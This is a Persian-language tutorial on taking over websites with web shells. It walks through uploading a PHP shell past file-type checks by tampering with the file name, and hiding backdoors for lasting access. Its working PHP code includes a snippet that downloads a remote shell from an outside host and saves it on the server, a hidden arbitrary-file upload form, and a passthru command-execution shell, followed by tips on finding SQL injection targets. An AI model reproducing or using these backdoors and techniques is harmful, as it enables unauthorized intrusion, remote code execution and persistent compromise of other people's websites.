آشنایی با شل ها:
شل ها، اسکریپت های مختلف به زبان های PHP و ASP و PERL و ... می باشند. انواع مختلفی از این شل ها تولید شده اند و با داشتن علم برنامه نویسی خود شما نیز می توانید اقدام به تولید یک شل نمایید. با آپلود یک شل روی یک وب سایت می توانید کنترل دسترسی بیشتری بر روی آن وب سایت داشته باشید. برای این منظور بعد از استخراج دسترسی ادمین یک وب سایت، باید به دنبال جایی باشید که بتوانید فایلی را از طریق آن آپلود نمایید. حال در صورتیکه امکان آپلود فایل با هر نوع پسوندی را داشته باشید می توانید به راحتی شل خود را آپلود نمایید، در غیر این صورت می بایست عملیات بایپس را انجام دهید. در بسیاری از موارد وجود نقاط ضعف در برخی افزونه های وب سایت ها می تواند عاملی برای گرفتن دسترسی و قرار دادن یک شل بر روی هاست باشد.
نکته: استفاده از بسته های NULL شده می تواند عاملی برای قرار گرفتن یک شل بر روی هاست شما باشد. بسیاری از این افزونه ها و بسته های آماده وب سایت که به صورت رایگان در اختیار کاربران قرار می گیرند در حالیکه نسخه تجاری دارند، می توانند آلوده به یک شل باشند و به عنوان یک Backdoor بر روی وب سایت شما باعث به خطر انداختن تجارت شما شوند.
برای ادامه کار می بایست از افزونه ای به نام Tamper Data برای مرورگر فایرفاکس استفاده نمایید.
برای آپلود فایل از طریق این افزونه ابتدا فایل شل خود را تغییر نام داده و به صورت Filename.’main extension’;’required extension’ تغییر دهید. به طور مثال اگر آپلودر فط مجوز آپلود فایل های عکسی را می دهد و فایل شل شما یک فایل php با نام 123 می باشد، آنرا به شکل زیر تغییر نام دهید:
123.php;jpg
بعد از این تغییر نام، فایل خود را به آپلودر داده و قبل از زدن دکمه آپلود اقدام به بازکردن افزونه Tamper Data از منوی Tools نمایید. بعد از باز شدن این افزونه و زدن دکمه آپلود به شما پیغامی داده می شود که می بایست گزینه Tamper را بزنید و در پنجره جدید باز شده در بخش POST_DATA نام فایل خود را پیدا کرده و از انتهای نام آن، پسوند اضافی را حذف نمایید و دکمه OK را فشار دهید. هر پیغام دیگری که به شما نمایش داده شد با زدن دکمه submit رد خواهد شد.
استفاده از Backdoor :
به منظور ایجاد یک مسیر همیشگی برای دسترسی به سایت هدف، می بایست یک Backdoor درون آن ایجاد نمایید. این کار به 3 روش انجام می شود:
قراردادن فایل شل در مسیری که ادمین وب سایت به راحتی آنرا پیدا نکند و تغییر نام آن به یکی از فایلهای مشابه در وب سایت هدف
قرار دادن کد زیر در انتهای یکی از فایلهای سایت و فراخوانی آن در هر زمانی که نیاز باشد:
<?php
if($_GET['cmd'] == 'XXXX') {
if (file_put_contents("XXXX.php", file_get_contents("http://www.sh3ll.org/c100.txt?))) {
echo "<span style='font-size:15px; color:blue'>Good :D</span>";
}
else {
echo "<span style='font-size:15px; color:blue'>File Can Not Be Created</span>";
}
}
?>
نحوه فراخوانی این دستور نیز به صورت قرار دادن مقدار ?cmd=reza به انتهای مسیر وب سایت تعریف شده می باشد. به طور مثال اگر این کد در انتهای فایلی به نام contact.php قرار داده شده است داریم:
www.website.com/contact.php?cmd=XXXX
در روش آخر ایجاد یک کد مانند کد بالا که به شما امکان آپلود هر فایل در هر مسیری را می دهد.
<?
if ($_GET['cmd']=='up')
{
$docr = $_SERVER["DOCUMENT_ROOT"];
echo <<<HTML
<table>
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr>
<td><font size="1">Your File : </font> </td>
<td>
<input size="48" name="file" type="file" style="color: #008000; font-family: Arial; font-size: 8pt; font-weight: bold; border: 2px solid #008000; background-color: #000000"></td>
</tr>
<tr>
<td><font size="1">Upload Dir : </font> </td>
<td>
<input size="48" value="$docr/" name="path" type="text" style="color: #008000; font-family: Arial; font-size: 8pt; font-weight: bold; border: 2px solid #008000; background-color: #000000">
<input type="submit" value="Upload " style="color: #008000; font-family: Arial; font-size: 8pt; font-weight: bold; border: 2px solid #008000; background-color: #000000"></td>
$tend
</table>
HTML;
if (isset($_POST["path"])){
$uploadfile = $_POST["path"].$_FILES["file"]["name"];
if ($_POST["path"]==""){$uploadfile = $_FILES["file"]["name"];}
if (copy($_FILES["file"]["tmp_name"], $uploadfile)) {
echo "File uploaded to : $uploadfile\n";
echo "- Size : " .$_FILES["file"]["size"]. "\n";
} else {
print "Error Upload File :\n";
}
}
}
?>
<?php
if(!empty($_GET['cmd'])){
echo'<pre>';
passthru($_GET['cmd']);
echo'</pre>';
exit;
}
?>
نکته: در بسیاری از موارد ممکن است یک مسیر از یک وب سایت آسیب پذیر به حمله SQL Injection به شما اطلاعات لازم را ندهد. یعنی زمانیکه مراحل را طی می کنید و به جایی میرسید که می خواهید ستون های آسیب پذیر را به دست آورید، هیچ اطلاعاتی به شما نمایش داده نمی شود، در این حالت می بایست به یک دایرکتوری دیگر از این وب سایت بروید و مراحل را تکرار کنید. برای این کار کافی است در گوگل با حالت زیر اقدام به جستجوی سایر دایرکتوری ها نمایید:
www.yourwebsite.com id=
نکته: حتما نیاز نیست که اهداف شما با حالت =id روی URL تنظیم شده باشند که بتوانید آنها را برای آسیب پذیری SQL Injection امتحان نمایید. هر نوع URL را می توان با قرار دادن ‘ تست آسیب پذیر SQL Injection کرد.